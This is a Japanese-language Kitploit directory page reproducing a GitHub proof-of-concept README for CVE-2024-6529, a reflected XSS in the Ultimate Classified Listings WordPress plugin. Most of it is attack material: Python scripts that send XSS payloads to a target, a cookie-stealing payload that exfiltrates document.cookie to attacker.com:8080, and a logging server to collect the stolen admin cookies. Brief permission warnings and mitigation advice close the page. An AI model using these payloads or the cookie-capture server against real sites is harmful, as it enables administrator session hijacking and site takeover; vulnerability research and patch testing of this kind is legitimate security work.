Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-6529 — Ultimate Classified Listings WordPressプラグインにおける反射型XSSと、細工したペイロードおよびロギングサーバーを介した管理者Cookie窃取を実証する概念実証スクリプト。 | Kitploit
ツール/GitHubGitHub/abdurahmon3236/cve-2024-6529
脆弱性分析エクスプロイトウェブアプリケーション悪用フィッシングペネトレーションテストソーシャルエンジニアリング
GitHubabdurahmon3236/cve-2024-6529

CVE-2024-6529

Ultimate Classified Listings WordPressプラグインにおける反射型XSSと、細工したペイロードおよびロギングサーバーを介した管理者Cookie窃取を実証する概念実証スクリプト。

リポジトリを見る
192年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

WordPressプラグインの脆弱性に対する概念実証(PoC)

このリポジトリには、さまざまなWordPressプラグインで発見された脆弱性に対する概念実証(PoC)スクリプトが含まれています。これらのスクリプトは、攻撃者がこれらの脆弱性を悪用して悪意のあるアクションを実行する方法を示しています。

目次

  • 対象脆弱性
  • セットアップと使用方法
    • Ultimate Classified Listingsプラグインの反射型XSS
    • XSSを使用したCookieの窃取
  • 重要な注意点

対象脆弱性

  1. Ultimate Classified Listingsプラグインの反射型クロスサイトスクリプティング(XSS)

    • バージョン1.4未満のUltimate Classified Listings WordPressプラグインの脆弱性により、攻撃者はサニタイズされていないパラメータを介して悪意のあるスクリプトを注入し、任意のJavaScriptを実行できます。
  2. XSSを使用したCookieの窃取

    • 攻撃者が反射型XSSの脆弱性を悪用して、管理者などの高権限ユーザーのCookieを悪意のあるサーバーに送信して窃取する方法を示します。

セットアップと使用方法

Ultimate Classified Listingsプラグインの反射型XSS

このPoCは、Ultimate Classified Listingsプラグインの反射型XSS脆弱性を悪用する方法を示しています。

  1. 脆弱なパラメータを特定:

    • 脆弱なパラメータがURL http://example.com/classifieds内のsearchであると仮定します。
  2. 悪意のあるURLを作成:

    • 悪意のあるURLには、アラートダイアログを実行するペイロードを含めることができます:
      http://example.com/classifieds?search=<script>alert('XSS')</script>
      
  3. PoCスクリプトを実行:

    • 次のスクリプトを xss_poc.py として保存し、実行します。
    import requests
    
    # Configuration
    target_url = "http://example.com/classifieds"  # Change this to the target site's URL
    payload = "<script>alert('XSS')</script>"  # XSS payload
    
    def trigger_xss():
        # Construct the malicious URL
        malicious_url = f"{target_url}?search={payload}"
    
        # Send a GET request to the malicious URL
        response = requests.get(malicious_url)
    
        # Check if the payload is reflected in the response
        if payload in response.text:
            print("[+] XSS payload reflected in the response.")
            print("[+] Malicious URL:", malicious_url)
        else:
            print("[-] XSS payload not reflected in the response.")
    
    if __name__ == "__main__":
        trigger_xss()
    

XSSを使用したCookieの窃取

このPoCは、攻撃者が反射型XSSの脆弱性を悪用して高権限ユーザーからCookieを窃取する方法を示しています。

  1. 悪意のあるサーバーをセットアップ:

    • 次のスクリプトを malicious_server.py として保存し、実行して、受信リクエスト(Cookieを含む)をログに記録するサーバーを起動します。
    from http.server import BaseHTTPRequestHandler, HTTPServer
    import logging
    
    class RequestHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            logging.info(f"Received request: {self.headers}")
            self.send_response(200)
            self.end_headers()
    
    def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
        logging.basicConfig(filename='server.log', level=logging.INFO)
        server_address = ('', port)
        httpd = server_class(server_address, handler_class)
        logging.info(f'Starting server on port {port}...')
        httpd.serve_forever()
    
    if __name__ == "__main__":
        run()
    
  2. Cookieを窃取するペイロードを作成:

    • 管理者のCookieを悪意のあるサーバーに送信するペイロードを作成します:
      http://example.com/classifieds?search=<script>new Image().src='http://attacker.com:8080?cookie='+document.cookie;</script>
      
  3. PoCスクリプトを実行:

    • 次のスクリプトを steal_cookies_poc.py として保存し、実行します。
    import requests
    
    # Configuration
    target_url = "http://example.com/classifieds"  # Change this to the target site's URL
    attacker_server = "http://attacker.com:8080"  # Change this to your malicious server's URL
    payload = f"<script>new Image().src='{attacker_server}?cookie='+document.cookie;</script>"
    
    def trigger_xss():
        # Construct the malicious URL
        malicious_url = f"{target_url}?search={payload}"
    
        # Send a GET request to the malicious URL
        response = requests.get(malicious_url)
    
        # Check if the payload is reflected in the response
        if payload in response.text:
            print("[+] XSS payload reflected in the response.")
            print("[+] Malicious URL:", malicious_url)
        else:
            print("[-] XSS payload not reflected in the response.")
    
    if __name__ == "__main__":
        trigger_xss()
    

重要な注意点

  • 許可:ターゲットサイトでこれらの脆弱性をテストするには、明示的な許可を得ていることを確認してください。無許可のアクセスは違法であり、非倫理的です。
  • テスト環境:本番システムに影響を与えないように、管理された環境でこれらのテストを実行してください。
  • 緩和策:Ultimate Classified Listingsプラグインをバージョン1.4以降に更新してください。出力に含める前に常にユーザー入力をサニタイズおよびエスケープしてください。

これらのPoCは、攻撃者がWordPressプラグインの脆弱性を悪用して悪意のあるアクションを実行する方法を示しています。常にソフトウェアを最新の状態に保ち、セキュリティのベストプラクティスに従って、このような脆弱性を防ぎましょう。

ツールをダウンロード